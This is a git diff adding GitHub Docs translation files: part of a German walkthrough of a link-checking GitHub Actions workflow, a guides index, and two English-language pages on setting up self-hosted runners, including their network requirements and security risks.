+Erstellt benutzerdefinierte Umgebungsvariablen und definiert die integrierte `GITHUB_TOKEN`-Variable neu, um ein benutzerdefiniertes [Geheimnis](/actions/security-guides/encrypted-secrets) zu verwenden. Auf diese Variablen wird später im Workflow verwiesen.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+    steps:
+```
+</td>
+<td>
+
+Gruppiert alle Schritte, die als Teil des `check_all_english_links`-Auftrags ausgeführt werden. Jeder Auftrag im Workflow verfügt über einen eigenen `steps`-Abschnitt.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Check out repo's default branch
+        uses: {% data reusables.actions.action-checkout %}
+```
+</td>
+<td>
+
+Das `uses`-Schlüsselwort weist den Auftrag an, die Aktion mit dem Namen `actions/checkout` abzurufen. Mit dieser Aktion wird dein Repository ausgecheckt und in den Runner heruntergeladen. Dadurch kannst du Aktionen für deinen Code ausführen (z. B. Testtools). Du musst die Auscheckaktion jedes Mal verwenden, wenn dein Workflow mit dem Code des Repositorys ausgeführt wird, oder du eine im Repository definierte Aktion verwendest.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Setup Node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: 16.8.x
+          cache: npm
+```
+</td>
+<td>
+
+In diesem Schritt wird mit der `actions/setup-node`-Aktion die angegebene Version des `node`-Softwarepakets auf dem Runner installiert. Dadurch erhältst du Zugriff auf den `npm`-Befehl.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Run the "npm ci" command
+        run: npm ci
+      - name: Run the "npm run build" command
+        run: npm run build
+```
+</td>
+<td>
+
+Mit dem `run`-Schlüsselwort wird der Auftrag angewiesen, einen Befehl im Runner auszuführen. In diesem Fall werden die Befehle `npm ci` und `npm run build` als separate Schritte zum Installieren und Erstellen der Node.js-Anwendung im Repository ausgeführt.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Run script
+        run: |
+          script/check-english-links.js > broken_links.md
+```
+</td>
+<td>
+
+Dieser `run`-Befehl führt ein Skript aus, das im Repository unter `script/check-english-links.js` gespeichert ist, und reicht die Ausgabe an eine Datei namens `broken_links.md` weiter.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - if: {% raw %}${{ failure() }}{% endraw %}
+        name: Get title for issue
+        id: check
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "title=$(head -1 broken_links.md)" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=title::$(head -1 broken_links.md)"
+{%- endif %}
+```
+</td>
+<td>
+
+Wenn das `check-english-links.js`-Skript fehlerhafte Verknüpfungen erkennt und einen Nicht-Null (0)-Status (Fehler) zurückgibt, lege mit einem [Workflowbefehl](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-output-parameter) eine Ausgabe fest, die den Wert der ersten Zeile der `broken_links.md`-Datei hat (wird im nächsten Schritt verwendet).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - if: {% raw %}${{ failure() }}{% endraw %}
+        name: Create issue from file
+        id: broken-link-report
+        uses: peter-evans/create-issue-from-file@b4f9ee0a9d4abbfc6986601d9b1a4f8f8e74c77e
+        with:
+          token: {% raw %}${{ env.GITHUB_TOKEN }}{% endraw %}
+
+          title: {% raw %}${{ steps.check.outputs.title }}{% endraw %}
+          content-filepath: ./broken_links.md
+          repository: {% raw %}${{ env.REPORT_REPOSITORY }}{% endraw %}
+          labels: {% raw %}${{ env.REPORT_LABEL }}{% endraw %}
+```
+</td>
+<td>
+
+Erstellt mit der `peter-evans/create-issue-from-file`-Aktion ein neues {% data variables.product.prodname_dotcom %}-Issue. Dieses Beispiel wird mit `b4f9ee0a9d4abbfc6986601d9b1a4f8f8e74c77e`-SHA einer bestimmten Version der Aktion angeheftet.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - if: {% raw %}${{ failure() }}{% endraw %}
+        name: Close and/or comment on old issues
+        env:
+          NEW_REPORT_URL: 'https://github.com/{% raw %}${{ env.REPORT_REPOSITORY }}{% endraw %}/issues/{% raw %}${{ steps.broken-link-report.outputs.issue-number }}{% endraw %}'
+        run: |
+          gh alias set list-reports "issue list \
+                                       --repo {% raw %}${{ env.REPORT_REPOSITORY }}{% endraw %} \
+                                       --author {% raw %}${{ env.REPORT_AUTHOR }}{% endraw %} \
+                                       --label '{% raw %}${{ env.REPORT_LABEL }}{% endraw %}'"
+          previous_report_url=$(gh list-reports \
+                                  --state all \
+                                  --limit 2 \
+                                  --json url \
+                                  --jq '.[].url' \
+                                  | grep -v {% raw %}${{ env.NEW_REPORT_URL }}{% endraw %} | head -1)
+
+          gh issue comment {% raw %}${{ env.NEW_REPORT_URL }}{% endraw %} --body "⬅️ [Previous report]($previous_report_url)"
+```
+</td>
+<td>
+
+Sucht mit [`gh issue list`](https://cli.github.com/manual/gh_issue_list) das zuvor erstellte Issue aus früheren Ausführungen. Dies erhält zur einfacheren Verarbeitung in späteren Schritten den [Alias](https://cli.github.com/manual/gh_alias_set) `gh list-reports`. Um die Issue-URL abzurufen, verarbeitet der `jq`-Ausdruck die resultierende JSON-Ausgabe.
+
+Dann wird mit [`gh issue comment`](https://cli.github.com/manual/gh_issue_comment) dem neuen Issue ein Kommentar hinzugefügt, der die Verknüpfung mit dem vorherigen herstellt.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+          for issue_url in $(gh list-reports \
+                                  --json assignees,url \
+                                  --jq '.[] | select (.assignees != []) | .url'); do
+            if [ "$issue_url" != "${{ env.NEW_REPORT_URL }}" ]; then
+              gh issue comment $issue_url --body "➡️ [Newer report](${{ env.NEW_REPORT_URL }})"
+            fi
+          done
+```
+</td>
+<td>
+
+Wenn ein Issue aus einer vorherigen Ausführung geöffnet und jemandem zugewiesen ist, füge mit [`gh issue comment`](https://cli.github.com/manual/gh_issue_comment) einen Kommentar mit einem Link zum neuen Issue hinzu.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+          for issue_url in $(gh list-reports \
+                                  --search 'no:assignee' \
+                                  --json url \
+                                  --jq '.[].url'); do
+            if [ "$issue_url" != "{% raw %}${{ env.NEW_REPORT_URL }}{% endraw %}" ]; then
+              gh issue comment $issue_url --body "➡️ [Newer report]({% raw %}${{ env.NEW_REPORT_URL }}{% endraw %})"
+              gh issue close $issue_url
+              gh issue edit $issue_url --remove-project "{% raw %}${{ env.FIRST_RESPONDER_PROJECT }}{% endraw %}"
+            fi
+          done
+```
+</td>
+<td>
+
+Wenn ein Issue aus einer vorherigen Ausführung geöffnet und niemandem zugewiesen ist, dann:
+
+* Füge mit [`gh issue comment`](https://cli.github.com/manual/gh_issue_comment) einen Kommentar mit einem Link zum neuen Issue hinzu.
+* Schließe das alte Issue mit [`gh issue close`](https://cli.github.com/manual/gh_issue_close).
+* Bearbeite das alte Issue mit [`gh issue edit`](https://cli.github.com/manual/gh_issue_edit), um es aus einem bestimmten {% data variables.product.prodname_dotcom %}-Projektboard zu entfernen.
+</td>
+</tr>
+</tbody>
+</table>
+
+## Nächste Schritte
+
+{% data reusables.actions.learning-actions %}
diff --git a/translations/de-DE/content/actions/guides.md b/translations/de-DE/content/actions/guides.md
new file mode 100644
index 0000000000..6c556e3664
--- /dev/null
+++ b/translations/de-DE/content/actions/guides.md
@@ -0,0 +1,79 @@
+---
+title: Anleitungen für GitHub Actions
+intro: 'Diese Anleitungen für {% data variables.product.prodname_actions %} enthalten spezifische Anwendungsfälle und Beispiele, die dir beim Konfigurieren von Workflows helfen.'
+allowTitleToDifferFromFilename: true
+layout: product-guides
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+learningTracks:
+  - getting_started
+  - adopting_github_actions_for_your_enterprise_ghec
+  - adopting_github_actions_for_your_enterprise_ghes_and_ghae
+  - hosting_your_own_runners
+  - create_actions
+includeGuides:
+  - /actions/quickstart
+  - /actions/learn-github-actions/introduction-to-github-actions
+  - /actions/creating-actions/creating-a-docker-container-action
+  - /actions/learn-github-actions/using-starter-workflows
+  - /actions/automating-builds-and-tests/building-and-testing-python
+  - /actions/automating-builds-and-tests/building-and-testing-nodejs
+  - /actions/publishing-packages/about-packaging-with-github-actions
+  - /actions/publishing-packages/publishing-docker-images
+  - /actions/advanced-guides/caching-dependencies-to-speed-up-workflows
+  - /actions/automating-builds-and-tests/about-continuous-integration
+  - /actions/automating-builds-and-tests/building-and-testing-powershell
+  - /actions/automating-builds-and-tests/building-and-testing-ruby
+  - /actions/automating-builds-and-tests/building-and-testing-java-with-maven
+  - /actions/automating-builds-and-tests/building-and-testing-java-with-gradle
+  - /actions/automating-builds-and-tests/building-and-testing-java-with-ant
+  - /actions/automating-builds-and-tests/building-and-testing-swift
+  - /actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development
+  - /actions/automating-builds-and-tests/building-and-testing-xamarin-applications
+  - /actions/publishing-packages/publishing-nodejs-packages
+  - /actions/publishing-packages/publishing-java-packages-with-maven
+  - /actions/publishing-packages/publishing-java-packages-with-gradle
+  - /actions/advanced-guides/storing-workflow-data-as-artifacts
+  - /actions/using-containerized-services/about-service-containers
+  - /actions/using-containerized-services/creating-redis-service-containers
+  - /actions/using-containerized-services/creating-postgresql-service-containers
+  - /actions/deployment/deploying-to-amazon-elastic-container-service
+  - /actions/deployment/deploying-to-google-kubernetes-engine
+  - /actions/learn-github-actions/essential-features-of-github-actions
+  - /actions/security-guides/security-hardening-for-github-actions
+  - /actions/creating-actions/about-custom-actions
+  - /actions/creating-actions/creating-a-javascript-action
+  - /actions/creating-actions/creating-a-composite-action
+  - /actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions
+  - /actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions
+  - /actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions
+  - /actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions
+  - /actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions
+  - /actions/managing-issues-and-pull-requests/using-github-actions-for-project-management
+  - /actions/managing-issues-and-pull-requests/closing-inactive-issues
+  - /actions/managing-issues-and-pull-requests/scheduling-issue-creation
+  - /actions/managing-issues-and-pull-requests/adding-labels-to-issues
+  - /actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added
+  - /actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards
+  - /actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service
+ms.openlocfilehash: 79b3b57f30be1b9cbccd9453d29c6c86f108c944
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145091368'
+---
+
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/about-self-hosted-runners.md b/translations/de-DE/content/actions/hosting-your-own-runners/about-self-hosted-runners.md
new file mode 100644
index 0000000000..1f447b00f9
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/about-self-hosted-runners.md
@@ -0,0 +1,280 @@
+---
+title: About self-hosted runners
+intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/about-self-hosted-runners
+  - /actions/automating-your-workflow-with-github-actions/about-self-hosted-runners
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About self-hosted runners
+
+A self-hosted runner is a system that you deploy and manage to execute jobs from {% data variables.product.prodname_actions %} on {% ifversion ghae or ghec %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information about {% data variables.product.prodname_actions %}, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}."{% elsif ghec or ghes or ghae %}" and "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."{% endif %}
+
+{% data reusables.actions.self-hosted-runner-description %} {% data reusables.actions.self-hosted-runner-locations %}
+
+You can add self-hosted runners at various levels in the management hierarchy:
+- Repository-level runners are dedicated to a single repository.
+- Organization-level runners can process jobs for multiple repositories in an organization.
+- Enterprise-level runners can be assigned to multiple organizations in an enterprise account.
+
+{% data reusables.actions.self-hosted-runner-architecture %} {% data reusables.actions.runner-app-open-source %} When a new version is released, the runner application automatically updates itself when a job is assigned to the runner, or within a week of release if the runner hasn't been assigned any jobs.
+
+{% ifversion ghes %} 
+{% note %}
+
+**Note:** {% data reusables.actions.upgrade-runners-before-upgrade-ghes %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.actions.self-hosted-runner-auto-removal %}
+
+For more information about installing and using self-hosted runners, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)."
+
+## {% ifversion fpt or ghec or ghes %}Differences between {% data variables.product.prodname_dotcom %}-hosted and {% elsif ghae %}Characteristics of {% endif %}self-hosted runners
+
+{% ifversion fpt or ghec or ghes %}
+{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted{% elsif ghae %}Self-hosted{% endif %} runners are a highly configurable way to run workflows in your own custom environment. {% ifversion ghae %}Self-hosted runners:{% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+**{% data variables.product.prodname_dotcom %}-hosted runners:**
+- Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application.
+- Are managed and maintained by {% data variables.product.prodname_dotcom %}.
+- Provide a clean instance for every job execution.
+- Use free minutes on your {% data variables.product.prodname_dotcom %} plan, with per-minute rates applied after surpassing the free minutes.
+
+**Self-hosted runners:**{% endif %}
+- Receive automatic updates for the self-hosted runner application only{% ifversion fpt or ghec or ghes > 3.4 or ghae %}, though you may disable automatic updates of the runner. For more information about controlling runner software updates on self-hosted runners, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners#controlling-runner-software-updates-on-self-hosted-runners)."{% else %}.{% endif %} You are responsible for updating the operating system and all other software.
+- Can use cloud services or local machines that you already pay for.
+- Are customizable to your hardware, operating system, software, and security requirements.
+- Don't need to have a clean instance for every job execution.
+- Are free to use with {% data variables.product.prodname_actions %}, but you are responsible for the cost of maintaining your runner machines.{% ifversion ghec or ghes or ghae %}
+- Can be organized into groups to restrict access to specific {% ifversion restrict-groups-to-workflows %}workflows, {% endif %}organizations and repositories. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."{% endif %}
+
+## Requirements for self-hosted runner machines
+
+You can use any machine as a self-hosted runner as long at it meets these requirements:
+
+* You can install and run the self-hosted runner application on the machine. For more information, see "[Supported architectures and operating systems for self-hosted runners](#supported-architectures-and-operating-systems-for-self-hosted-runners)."
+* The machine can communicate with {% data variables.product.prodname_actions %}. For more information, see "[Communication between self-hosted runners and {% data variables.product.product_name %}](#communication-requirements)."
+* The machine has enough hardware resources for the type of workflows you plan to run. The self-hosted runner application itself only requires minimal resources.
+* If you want to run workflows that use Docker container actions or service containers, you must use a Linux machine and Docker must be installed.
+
+## Autoscaling your self-hosted runners
+
+You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
+
+## Usage limits
+
+There are some limits on {% data variables.product.prodname_actions %} usage when using self-hosted runners. These limits are subject to change.
+
+{% data reusables.actions.usage-workflow-run-time %}
+- **Job queue time** - Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete.
+{% data reusables.actions.usage-api-requests %}
+- **Job matrix** - {% data reusables.actions.usage-matrix-limits %}
+{% data reusables.actions.usage-workflow-queue-limits %}
+
+## Workflow continuity for self-hosted runners
+
+{% data reusables.actions.runner-workflow-continuity %}
+
+## Supported architectures and operating systems for self-hosted runners
+
+The following operating systems are supported for the self-hosted runner application.
+
+### Linux
+
+- Red Hat Enterprise Linux 7 or later
+- CentOS 7 or later
+- Oracle Linux 7
+- Fedora 29 or later
+- Debian 9 or later
+- Ubuntu 16.04 or later
+- Linux Mint 18 or later
+- openSUSE 15 or later
+- SUSE Enterprise Linux (SLES) 12 SP2 or later
+
+### Windows
+
+- Windows 7 64-bit
+- Windows 8.1 64-bit
+- Windows 10 64-bit
+- Windows Server 2012 R2 64-bit
+- Windows Server 2019 64-bit
+
+### macOS
+
+- macOS 10.13 (High Sierra) or later
+
+### Architectures
+
+The following processor architectures are supported for the self-hosted runner application.
+
+- `x64` - Linux, macOS, Windows.
+- `ARM64` - Linux{% ifversion actions-macos-arm %}, macOS{% endif %}{% ifversion actions-windows-arm %}, Windows (currently in beta){% endif %}.
+- `ARM32` - Linux.
+
+{% ifversion ghes %}
+
+## Supported actions on self-hosted runners
+
+Some extra configuration might be required to use actions from {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator.
+
+{% endif %}
+
+<a name="communication-requirements"></a>
+
+## Communication between self-hosted runners and {% data variables.product.product_name %}
+
+The self-hosted runner connects to {% data variables.product.product_name %} to receive job assignments and to download new versions of the runner application. The self-hosted runner uses an {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} _long poll_ that opens a connection to {% data variables.product.product_name %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. The application must be running on the machine to accept and run {% data variables.product.prodname_actions %} jobs.
+
+{% data reusables.actions.self-hosted-runner-ports-protocols %}
+
+{% ifversion fpt or ghec %}
+Since the self-hosted runner opens a connection to {% data variables.location.product_location %}, you do not need to allow {% data variables.product.prodname_dotcom %} to make inbound connections to your self-hosted runner.
+{% elsif ghes or ghae %}
+Only an outbound connection from the runner to {% data variables.location.product_location %} is required. There is no need for an inbound connection from {% data variables.location.product_location %} to the runner.
+{%- endif %}
+
+{% ifversion ghes %}
+
+{% data variables.product.product_name %} must accept inbound connections from your runners over {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} at {% data variables.location.product_location %}'s hostname and API subdomain, and your runners must allow outbound connections over {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} to {% data variables.location.product_location %}'s hostname and API subdomain.
+
+{% elsif ghae %}
+
+You must ensure that the self-hosted runner has appropriate network access to communicate with your {% data variables.product.product_name %} URL and its subdomains. For example, if your subdomain for {% data variables.product.product_name %} is `octoghae`, then you will need to allow the self-hosted runner to access `octoghae.githubenterprise.com`, `api.octoghae.githubenterprise.com`, and `codeload.octoghae.githubenterprise.com`.
+
+If you use an IP address allow list, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)."
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} hosts listed below. Some hosts are required for essential runner operations, while other hosts are only required for certain functionality.
+
+{% note %}
+
+**Note:** Some of the domains listed below are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed below will remain constant.
+
+{% endnote %}
+
+**Needed for essential operations:**
+
+```
+github.com
+api.github.com
+```
+
+**Needed for downloading actions:**
+
+```
+codeload.github.com
+```
+
+**Needed for runner version updates:**
+
+```
+objects.githubusercontent.com
+objects-origin.githubusercontent.com
+github-releases.githubusercontent.com
+github-registry-files.githubusercontent.com
+```
+
+**Needed for uploading/downloading caches and workflow artifacts:**    
+
+```
+*.blob.core.windows.net
+```
+
+**Needed for retrieving OIDC tokens:**
+
+```
+*.actions.githubusercontent.com
+```
+
+**Needed for downloading or publishing packages or containers to {% data variables.product.prodname_dotcom %} Packages:**
+
+```
+*.pkg.github.com
+ghcr.io
+```
+
+In addition, your workflow may require access to other network resources.
+
+If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)" or "[Enforcing policies for security settings in your enterprise](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+{% else %}
+
+{% ifversion ghes %}Self-hosted runners do not require any external internet access in order to function. As a result, you can use network routing to direct communication between the self-hosted runner and {% data variables.location.product_location %}. For example, you can assign a private IP address to your self-hosted runner and configure routing to send traffic to {% data variables.location.product_location %}, with no need for traffic to traverse a public network.{% endif %}
+
+{% endif %}
+
+{% ifversion ghae %}
+If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)."
+{% endif %}
+
+You can also use self-hosted runners with a proxy server. For more information, see "[Using a proxy server with self-hosted runners](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners)."
+
+For more information about troubleshooting common network connectivity issues, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#troubleshooting-network-connectivity)."
+
+{% ifversion ghes or ghae %}
+
+## Communication between self-hosted runners and {% data variables.product.prodname_dotcom_the_website %}
+
+Self-hosted runners do not need to connect to {% data variables.product.prodname_dotcom_the_website %} unless you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions for {% data variables.location.product_location %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."
+
+If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} URLs listed below. 
+
+```
+github.com
+api.github.com
+codeload.github.com
+```
+
+{% note %}
+
+**Note:** Some of the domains listed above are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed above will remain constant.
+
+{% endnote %}
+
+{% endif %}
+
+## Self-hosted runner security
+
+{% ifversion fpt or ghec %}
+
+{% data reusables.actions.self-hosted-runner-security %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution.
+
+{% endif %}
+
+Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include:
+
+* Malicious programs running on the machine.
+* Escaping the machine's runner sandbox.
+* Exposing access to the machine's network environment.
+* Persisting unwanted or dangerous data on the machine.
+
+For more information about security hardening for self-hosted runners, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
+
+{% ifversion ghec or ghes or ghae %}
+
+## Further reading
+
+- "[Getting started with self-hosted runners for your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)"
+
+{% endif %}
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md b/translations/de-DE/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md
new file mode 100644
index 0000000000..3ea5bd9887
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md
@@ -0,0 +1,125 @@
+---
+title: Adding self-hosted runners
+intro: 'You can add a self-hosted runner to a repository, an organization, or an enterprise.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/adding-self-hosted-runners
+  - /actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+shortTitle: Add self-hosted runners
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+You can add a self-hosted runner to a repository, an organization, or an enterprise.
+
+If you are an organization or enterprise administrator, you might want to add your self-hosted runners at the organization or enterprise level. This approach makes the runner available to multiple repositories in your organization or enterprise, and also lets you to manage your runners in one place.
+
+For information on supported operating systems for self-hosted runners, or using self-hosted runners with a proxy server, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)."
+
+{% ifversion not ghae %}
+{% warning %}
+
+**Warning:** {% data reusables.actions.self-hosted-runner-security %}
+
+For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+
+{% endwarning %}
+{% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+
+You can set up automation to scale the number of self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
+
+{% endif %}
+
+## Prerequisites
+
+{% data reusables.actions.self-hosted-runners-prerequisites %}
+
+## Adding a self-hosted runner to a repository
+
+You can add self-hosted runners to a single repository. To add a self-hosted runner to a user repository, you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-runners %}
+1. Click **New self-hosted runner**.
+{% data reusables.actions.self-hosted-runner-configure %}
+{% elsif ghae or ghes < 3.4 %}
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.settings-sidebar-actions-runners %}
+1. Under {% ifversion ghes or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, click **Add runner**.
+{% data reusables.actions.self-hosted-runner-configure %}
+{% endif %}
+{% data reusables.actions.self-hosted-runner-check-installation-success %}
+
+For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+
+## Adding a self-hosted runner to an organization
+
+You can add self-hosted runners at the organization level, where they can be used to process jobs for multiple repositories in an organization. To add a self-hosted runner to an organization, you must be an organization owner. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-runners %}
+{% ifversion actions-hosted-runners %}1. Click **New runner**, then click **New self-hosted runner**.{% else %}1. Click **New runner**.{% endif %}
+{% data reusables.actions.self-hosted-runner-configure %}
+{% elsif ghae or ghes < 3.4 %}
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-runners %}
+1. Under {% ifversion ghes or ghae %}"Runners", click **Add new**, then click **New runner**.{% endif %}
+{% data reusables.actions.self-hosted-runner-configure %}
+{% endif %}
+{% data reusables.actions.self-hosted-runner-check-installation-success %}
+
+For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+
+{% data reusables.actions.self-hosted-runner-public-repo-access %}
+
+## Adding a self-hosted runner to an enterprise
+
